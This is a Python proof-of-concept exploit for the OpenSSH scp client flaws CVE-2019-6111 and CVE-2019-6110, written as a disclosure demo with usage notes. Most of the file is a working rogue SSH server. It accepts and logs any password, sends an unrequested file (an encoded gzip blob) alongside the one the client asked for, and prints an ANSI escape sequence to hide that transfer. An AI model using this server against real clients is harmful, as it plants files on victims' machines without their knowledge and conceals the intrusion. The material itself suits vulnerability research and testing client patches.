'''
Title: SSHtranger Things
Author: Mark E. Haase <mhaase@hyperiongray.com>
Homepage: https://www.hyperiongray.com
Date: 2019-01-17
CVE: CVE-2019-6111, CVE-2019-6110
Advisory: https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt
Tested on: Ubuntu 18.04.1 LTS, OpenSSH client 7.6p1
We have nicknamed this "SSHtranger Things" because the bug is so old it could be
exploited by an 8-bit Demogorgon. Tested on Python 3.6.7 and requires `paramiko`
package.
The server listens on port 2222. It accepts any username and password, and it
generates a new host key every time you run it.
$ python3 sshtranger_things.py
Download a file using a vulnerable client. The local path must be a dot:
$ scp -P 2222 foo@localhost:test.txt .
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
RSA key fingerprint is SHA256:C7FhMqqiMpkqG9j+11S2Wv9lQYlN1jkDiipdeFMZT1w.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts.
foo@localhost's password:
test.txt 100% 32 0.7KB/s 00:00
The file you requested (e.g. test.txt) will be saved in your current directory.
If your client is vulnerable, you will have an additional file "exploit.txt"
created in your current directory.
$ cat test.txt
This is the file you requested.
$ cat exploit.txt
SSHtranger Things
The interesting code is in ScpServer.send_file().
'''
import base64
import gzip
import logging
import paramiko
import paramiko.rsakey
import socket
import threading
logging.basicConfig(level=logging.INFO)
dummy = 'This is the file you requested.\n'
payload = gzip.decompress(base64.b64decode(
b'H4sIAAa+QFwC/51VQW4CMQy85xV+AX+qqrZwoFSo0orbHvbQQw9NIiH1Af0YLyndjZ2x46'
b'ygaIGs43jGTjIORJfzh3nIN/IwltH1b+LHeGdxHnXUsoCWD6yYyjt7AfA1XJdLDR8u5yRA'
b'1/lEjiHbHGafXOMVpySuZaH4Jk1lgjxoocN5YMhRoNhhpA5EWMhlRHBNCWogZYhOnmk2V7'
b'C4FJgwHxKSEwEzTskrQITtj1gYIurAhWUfsDbWIFyXlRwDc8okeZkCzNyjlMmcT4wxA39d'
b'zp8OsJDJsGV/wV3I0JwJLNXKlOxJAs5Z7WwqmUZMPZmzqupttkhPRd4ovE8jE0gNyQ5skM'
b'uVy4jk4BljnYwCQ2CUs53KtnKEYkucQJIEyoGud5wYXQUuXvimAYJMJyLlqkyQHlsK6XLz'
b'I6Q6m4WKYmOzjRxEhtXWBA1qrvmBVRgGGIoT1dIRKSN+yeaJQQKuNEEadONJjkcdI2iFC4'
b'Hs55bGI12K2rn1fuN1P4/DWtuwHQYdb+0Vunt5DDpS3+0MLaN7FF73II+PK9OungPEnZrc'
b'dIyWSE9DHbnVVP4hnF2B79CqV8nTxoWmlomuzjl664HiLbZSdrtEOdIYVqBaTeKdWNccJS'
b'J+NlZGQJZ7isJK0gs27N63dPn+oefjYU/DMGy2p7en4+7w+nJ8OG0eD/vwC6VpDqYpCwAA'
))
class ScpServer(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_auth_password(self, username, password):
logging.info('Authenticated with %s:%s', username, password)
return paramiko.AUTH_SUCCESSFUL
def check_channel_request(self, kind, chanid):
logging.info('Opened session channel %d', chanid)
if kind == "session":
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_channel_exec_request(self, channel, command):
command = command.decode('ascii')
logging.info('Approving exec request: %s', command)
parts = command.split(' ')
# Make sure that this is a request to get a file:
assert parts[0] == 'scp'
assert '-f' in parts
file = parts[-1]
# Send file from a new thread.
threading.Thread(target=self.send_file, args=(channel, file)).start()
return True
def send_file(self, channel, file):
'''
The meat of the exploit:
1. Send the requested file.
2. Send another file (exploit.txt) that was not requested.
3. Print ANSI escape sequences to stderr to hide the transfer of
exploit.txt.
'''
def wait_ok():
assert channel.recv(1024) == b'\x00'
def send_ok():
channel.sendall(b'\x00')
wait_ok()
logging.info('Sending requested file "%s" to channel %d', file,
channel.get_id())
command = 'C0664 {} {}\n'.format(len(dummy), file).encode('ascii')
channel.sendall(command)
wait_ok()
channel.sendall(dummy)
send_ok()
wait_ok()
# This is CVE-2019-6111: whatever file the client requested, we send
# them 'exploit.txt' instead.
logging.info('Sending malicious file "exploit.txt" to channel %d',
channel.get_id())
command = 'C0664 {} exploit.txt\n'.format(len(payload)).encode('ascii')
channel.sendall(command)
wait_ok()
channel.sendall(payload)
send_ok()
wait_ok()
# This is CVE-2019-6110: the client will display the text that we send
# to stderr, even if it contains ANSI escape sequences. We can send
# ANSI codes that clear the current line to hide the fact that a second
# file was transmitted..
logging.info('Covering our tracks by sending ANSI escape sequence')
channel.sendall_stderr("\x1b[1A".encode('ascii'))
channel.close()
def main():
logging.info('Creating a temporary RSA host key...')
host_key = paramiko.rsakey.RSAKey.generate(1024)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('localhost', 2222))
sock.listen(0)
logging.info('Listening on port 2222...')
while True:
client, addr = sock.accept()
logging.info('Received connection from %s:%s', *addr)
transport = paramiko.Transport(client)
transport.add_server_key(host_key)
server = ScpServer()
transport.start_server(server=server)
if __name__ == '__main__':
main()